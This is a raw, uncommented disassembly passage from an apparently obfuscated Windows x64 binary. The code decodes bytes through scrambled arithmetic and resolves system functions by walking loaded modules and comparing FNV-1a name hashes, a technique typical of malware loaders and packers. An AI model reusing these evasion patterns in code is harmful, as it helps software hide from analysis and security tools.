sub bl, r15b
jmp 0x1401ea7f1
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x1401ea3f7
movabs rcx, 0x8e114f0785b22c80
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x80
jmp 0x1401ea8f2
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x1401ea62e
movabs rdx, 0x4e94f85cce491860
jmp 0x1401ea863
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x1401ea659
movabs rcx, 0x94964d35fff456e0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r8b
jmp 0x1401ea852
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x1401ea671
movabs rdx, 0xb796f7a298c9f620
jmp 0x1401ea8db
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x1401ea436
movabs rcx, 0xfd984c7bca7534a0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x60
jmp 0x1401ea91e
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x1401ea6cb
movabs rcx, 0xbe1bf5d1130c2080
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x80
jmp 0x1401ea9a6
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x1401ea6f6
movabs rcx, 0xe11ca03dabe1bfc0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r15b
jmp 0x1401ea954
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x1401ea71f
movabs rdx, 0x41d4aaa44b75f00
add rdx, r10
mov cl, r9b
and cl, dl
add cl, cl
mov bl, r9b
sub bl, cl
add bl, dl
jmp 0x1401ea7f1
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x1401ea74a
movabs rcx, 0x4a1e9f8376629d80
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x80
jmp 0x1401ea91b
lea rax, [r11 + 7]
cmp rdi, rax
jne 0x1401ea777
movabs rdx, 0xb3209ec940e37b40
add rdx, r10
mov al, r9b
and al, dl
mov ecx, r8d
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1401ea8c1
lea rax, [r11 + 6]
cmp rdi, rax
jne 0x1401ea39b
movabs rdx, 0xd6214935d9b91a80
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
add bl, 0x80
add bl, dl
jmp 0x1401ea899
movabs rdx, 0x1c229e0f0b645900
add rdx, r10
mov al, dl
and al, r9b
add al, al
mov bl, byte [rbp + r10 + 0x10a0]
sub bl, al
jmp 0x1401ea8ed
movabs rdx, 0x3f23487ba439f840
add rdx, r10
mov al, dl
and al, r9b
mov ecx, r8d
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r10 + 0x10a0]
add bl, dl
add bl, r9b
movabs rcx, 0x50a39db1f0a4c7e0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
add cl, r9b
sub cl, r8b
movzx eax, cl
mov byte [rbp + r10 + 0x10a0], al
inc r11
add rax, r11
sub r10, rax
jmp 0x1401ea954
movabs rdx, 0xfb89a726a8198520
jmp 0x1401ea8db
movabs rcx, 0xd888fcba0f43e5e0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x20
mov eax, 1
jmp 0x1401ea8c9
movabs rdx, 0x9287a7e0dd98a760
add rdx, r10
mov al, dl
and al, r9b
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401ea899
movabs rcx, 0x4c865307abed68e0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x20
movabs rdx, 0xaa248d8bef98960
add rdx, r10
mov al, r9b
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r10 + 0x10a0], cl
mov eax, 1
add r11, rax
sub r10, rax
jmp 0x1401ea9ba
movabs rdx, 0xe38453c1e16c8b20
add rdx, r10
mov al, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
movabs rcx, 0x2da2f34557cf28a0
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x60
add r9b, bl
add r9b, cl
mov byte [rbp + r10 + 0x10a0], r9b
add rdi, r11
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
jmp 0x1401ea9b5
mov r9, r8
movabs rdx, 0x5781aa0f7e160e20
add rdx, r10
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movabs rcx, 0x6223f2e83d0f9780
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
add r9b, 0x80
add r9b, cl
mov byte [rbp + r10 + 0x10a0], r9b
inc rdi
or rax, 0xffffffffffffffff
sub rax, rdi
add r10, rax
jmp 0x1401ea9a6
movabs rcx, 0x3480ffa2e5406ee0
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x20
movzx eax, byte [rbp + r10 + 0x10a0]
add rax, r11
add r10, rax
mov eax, 1
add r10, rax
jmp 0x1401e9f80
movabs rcx, 0xf4ab9ac91aa83ee0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r8b
jmp 0x1401e9f6b
lea rdx, [rbp + 0x1439020]
jmp 0x1401ea9fd
lea rdx, [rbp + 0x16e5fc0]
jmp 0x1401ea9fd
lea rdx, [rbp + 0x10a0]
mov r9d, r15d
mov r8, rsi
xor ecx, ecx
call r12
mov rdx, qword [0x1404dbba8]
xor eax, eax
test rdx, rdx
jne 0x1401eab80
mov esi, eax
mov r14d, 0xcded1a85
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
lea r13d, [rdx + 8]
movups xmm0, xmmword [rcx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, r13w
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401eaa87
mov rdx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rdx + rax*2]
mov r9d, 0x811c9dc5
jmp 0x1401eaa79
movsx eax, byte [rdx]
xor eax, r9d
imul r9d, eax, 0x1000193
add rdx, 2
cmp rdx, r8
jne 0x1401eaa68
cmp r9d, esi
jne 0x1401eab6b
mov rdi, qword [rcx + 0x30]
movsxd rax, dword [rdi + 0x3c]
mov rax, qword [rax + rdi + 0x88]
mov r11d, eax
add r11, rdi
shr rax, 0x20
cmp r11, rdi
je 0x1401eab6b
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x1401eab6b
mov ebx, dword [r11 + 0x20]
mov r12d, 1
dec r10d
lea r8, [rdi + r10*4]
mov r9d, dword [r8 + rbx]
add r9, rdi
mov r8d, 0x811c9dc5
jmp 0x1401eaae4
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
mov dl, byte [r9]
add r9, r12
test dl, dl
jne 0x1401eaad7
cmp r8d, r14d
je 0x1401eaafa
test r10d, r10d
jne 0x1401eaac1
jmp 0x1401eab6b
mov r8d, dword [r11 + 0x1c]
add r8, rdi
mov edx, dword [r11 + 0x24]
add rdx, rdi
movzx edx, word [rdx + r10*2]
mov edx, dword [r8 + rdx*4]
add rdx, rdi
cmp rdx, r11
jbe 0x1401eab73
lea rcx, [rax + r11]
cmp rdx, rcx
jae 0x1401eab73
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x1401eab3c
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1401eab2e
jmp 0x1401eab51
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x1401eab44
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
mov rcx, qword [rcx]
jmp 0x1401eaa37
mov qword [0x1404dbba8], rdx
mov r13d, 0x31a98fee
mov ecx, 0x99
call rdx
mov rbx, qword [0x1404dbbe8]
xor eax, eax
test rbx, rbx
jne 0x1401eacf6
mov esi, eax
mov r14d, 0xf84eee59
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401eac08
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401eabfa
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401eabe9
cmp r8d, esi
jne 0x1401eacd8
mov rdi, qword [rbx + 0x30]
movsxd rax, dword [rdi + 0x3c]
mov rax, qword [rax + rdi + 0x88]
mov r10d, eax
add r10, rdi
shr rax, 0x20
cmp r10, rdi
je 0x1401eacd8
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x1401eacd8
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rdi + r9*4]
mov r8d, dword [rdx + r11]
add r8, rdi
mov edx, 0x811c9dc5
jmp 0x1401eac5c
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401eac51
cmp edx, r14d
je 0x1401eac72
test r9d, r9d
jne 0x1401eac3c
jmp 0x1401eacd8
mov r8d, dword [r10 + 0x1c]
add r8, rdi
mov edx, dword [r10 + 0x24]
add rdx, rdi
movzx edx, word [rdx + r9*2]
mov ebx, dword [r8 + rdx*4]
add rbx, rdi
cmp rbx, r10
jbe 0x1401eacef
lea rcx, [rax + r10]
cmp rbx, rcx
jae 0x1401eacef
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rbx]
cmp al, 0x2e
je 0x1401eaccc
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rbx, rcx
jmp 0x1401eaca9
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rbx, rcx
mov al, byte [rbx]
test al, al
jne 0x1401eacbf
mov rbx, qword [r15]
mov rbx, qword [rbx]
xor eax, eax
cmp rbx, r15
je 0x1401eacec
cmp qword [rbx + 0x30], rax
jne 0x1401eabb8
mov rbx, rax
mov qword [0x1404dbbe8], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x1404dbbe0]
xor eax, eax
test rdx, rdx
jne 0x1401eae72
mov esi, eax
mov r14d, 0xb3002016
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401ead84
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401ead76
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401ead65
cmp r8d, esi
jne 0x1401eae54
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x1401eae54
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x1401eae54
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x1401eadd8
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401eadcd
cmp edx, r14d
je 0x1401eadee
test r9d, r9d
jne 0x1401eadb8
jmp 0x1401eae54
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, rbx
cmp rdx, r10
jbe 0x1401eae6b
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x1401eae6b
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x1401eae48
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x1401eae25
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x1401eae3b
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x1401eae68
cmp qword [rdi + 0x30], rax
jne 0x1401ead34
mov rdx, rax
mov qword [0x1404dbbe0], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404dbbd8]
xor eax, eax
test rdx, rdx
jne 0x1401eafe5
mov esi, eax
mov r14d, 0x2fd4df39
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401eaef7
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401eaee9
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401eaed8
cmp r8d, esi
jne 0x1401eafc7
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x1401eafc7
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x1401eafc7
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x1401eaf4b
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401eaf40
cmp edx, r14d
je 0x1401eaf61
test r9d, r9d
jne 0x1401eaf2b
jmp 0x1401eafc7
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, rbx
cmp rdx, r10
jbe 0x1401eafde
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x1401eafde
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x1401eafbb
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x1401eaf98
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x1401eafae
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x1401eafdb
cmp qword [rdi + 0x30], rax
jne 0x1401eaea7
mov rdx, rax
mov qword [0x1404dbbd8], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404dbbd0]
xor eax, eax
test rdx, rdx
jne 0x1401eb158
mov esi, eax
mov r14d, 0xe80fd3a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401eb06a
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401eb05c
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401eb04b
cmp r8d, esi
jne 0x1401eb13a
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x1401eb13a
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x1401eb13a
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x1401eb0be
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401eb0b3
cmp edx, r14d
je 0x1401eb0d4
test r9d, r9d
jne 0x1401eb09e
jmp 0x1401eb13a
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, rbx
cmp rdx, r10
jbe 0x1401eb151
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x1401eb151
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x1401eb12e
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x1401eb10b
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x1401eb121
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x1401eb14e
cmp qword [rdi + 0x30], rax
jne 0x1401eb01a
mov rdx, rax
mov qword [0x1404dbbd0], rdx
xor ecx, ecx
call rdx
xor ebx, ebx
cmp qword [0x1404dbbc8], rbx
jne 0x1401eb258
mov esi, ebx
mov r14d, 0xa52bcaf9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401eb1d6
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401eb1cc
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401eb1bb
cmp r8d, esi
jne 0x1401eb23c
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x1401eb23a
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x1401eb23a
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x1401eb222
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401eb217
cmp edx, r14d
je 0x1401eb32b
test r9d, r9d
jne 0x1401eb202
xor ebx, ebx
mov rdi, qword [rdi]
cmp rdi, r15
je 0x1401eb24e
cmp qword [rdi + 0x30], rbx
jne 0x1401eb18a
mov r9, rbx
mov qword [0x1404dbbc8], r9
mov r8, qword [0x1404dbc00]
test r8, r8
jne 0x1401eb2d1
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r9, qword [rax]
mov r10, r9
mov rcx, qword [r9 + 0x60]
movzx eax, word [r9 + 0x58]
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
cmp rcx, rdx
je 0x1401eb2b9
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401eb296
cmp r8d, 0x610c0de3
je 0x1401eb3a6
mov r9, qword [r9]
cmp r9, r10
je 0x1401eb2c7
cmp qword [r9 + 0x30], rbx
jne 0x1401eb27b
mov r8, rbx
mov qword [0x1404dbc00], r8
movsxd rax, dword [r8 + 0x3c]
mov r11d, dword [rax + r8 + 0x88]
mov r9d, ebx
mov r10d, dword [r11 + r8 + 0x20]
mov edi, 1
mov eax, r9d
lea rcx, [r10 + rax*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov ecx, 0x811c9dc5
mov al, byte [rdx]
add rdx, rdi
test al, al
je 0x1401eb326
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
mov al, byte [rdx]
add rdx, rdi
test al, al
jne 0x1401eb306
cmp ecx, 0xe463da3c
je 0x1401eb3af
add r9d, edi
jmp 0x1401eb2ea
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r9d, dword [r8 + rdx*4]
add r9, rbx
cmp r9, r10
jbe 0x1401eb39f
lea rcx, [rax + r10]
cmp r9, rcx
jae 0x1401eb39f
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r9]
cmp al, 0x2e
je 0x1401eb379
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r9, rcx
jmp 0x1401eb362
add r9, rcx
xor ebx, ebx
jmp 0x1401eb390
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r9, rcx
mov al, byte [r9]
test al, al
jne 0x1401eb380
mov rdi, qword [r15]
jmp 0x1401eb23c
xor ebx, ebx
jmp 0x1401eb251
mov r8, qword [r9 + 0x30]
jmp 0x1401eb2ca
mov edx, dword [r11 + r8 + 0x1c]
add rdx, r8
mov ecx, dword [r11 + r8 + 0x24]
add rcx, r8
mov eax, r9d
movzx ecx, word [rcx + rax*2]
mov eax, dword [rdx + rcx*4]
add rax, r8
xor ecx, ecx
call rax
mov r12, rax
mov r10, qword [0x1404dbbf8]
test r10, r10
jne 0x1401eb4d5
mov esi, ebx
mov r14d, 0x820621f3
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401eb44e
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401eb444
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401eb433
cmp r8d, esi
jne 0x1401eb4b4
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r11d, eax
add r11, rbx
shr rax, 0x20
cmp r11, rbx
je 0x1401eb4b2
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x1401eb4b2
mov r10d, dword [r11 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x1401eb49a
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401eb48f
cmp edx, r14d
je 0x1401eb551
test r9d, r9d
jne 0x1401eb47a
xor ebx, ebx
mov rdi, qword [rdi]
cmp rdi, r15
je 0x1401eb4c6
cmp qword [rdi + 0x30], rbx
jne 0x1401eb402
mov r10, rbx
mov qword [0x1404dbbf8], r10
mov edi, 1
lea r9, [rbp + 0x11b0]
mov r8d, edi
mov edx, 0x5000
mov rcx, r12
call r10
mov r8, qword [0x1404dbbf0]
test r8, r8
jne 0x1401eb669
mov esi, ebx
mov r14d, 0x33b00bc5
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401eb5e7
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401eb5dd
mov r8d, dword [r11 + 0x1c]
add r8, rbx
mov edx, dword [r11 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r10d, dword [r8 + rdx*4]
add r10, rbx
cmp r10, r11
jbe 0x1401eb5c5
lea rcx, [rax + r11]
cmp r10, rcx
jae 0x1401eb5c5
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x1401eb59f
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rcx
jmp 0x1401eb588
add r10, rcx
xor ebx, ebx
jmp 0x1401eb5b6
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rcx
mov al, byte [r10]
test al, al
jne 0x1401eb5a6
mov rdi, qword [r15]
jmp 0x1401eb4b4
xor ebx, ebx
jmp 0x1401eb4c9
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401eb5cc
cmp r8d, esi
jne 0x1401eb64d
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x1401eb64b
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x1401eb64b
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x1401eb633
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401eb628
cmp edx, r14d
je 0x1401eb714
test r9d, r9d
jne 0x1401eb613
xor ebx, ebx
mov rdi, qword [rdi]
cmp rdi, r15
je 0x1401eb65f
cmp qword [rdi + 0x30], rbx
jne 0x1401eb519
mov r8, rbx
mov qword [0x1404dbbf0], r8
mov edx, 0x5000
mov rcx, r12
call r8
mov qword [0], 0x99
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rbp + 0x31e0], eax
mov eax, dword [0x1404db4c0]
mov dword [rbp + 0x31e4], eax
lea rdx, [rbp + 0x31e0]
lea rcx, [0x1404db520]
call fcn.1402500b0
test eax, eax
jne 0x1401edb80
mov r15, qword [0x1404dbbb8]
test r15, r15
jne 0x1401eb832
mov esi, ebx
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r14, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401eb7aa
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401eb7a0
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r8d, dword [r8 + rdx*4]
add r8, rbx
cmp r8, r10
jbe 0x1401eb788
lea rcx, [rax + r10]
cmp r8, rcx
jae 0x1401eb788
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r8]
cmp al, 0x2e
je 0x1401eb762
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r8, rcx
jmp 0x1401eb74b
add r8, rcx
xor ebx, ebx
jmp 0x1401eb779
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r8, rcx
mov al, byte [r8]
test al, al
jne 0x1401eb769
mov rdi, qword [r15]
jmp 0x1401eb64d
xor ebx, ebx
jmp 0x1401eb662
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401eb78f
cmp r8d, esi
jne 0x1401eb816
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x1401eb814
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x1401eb814
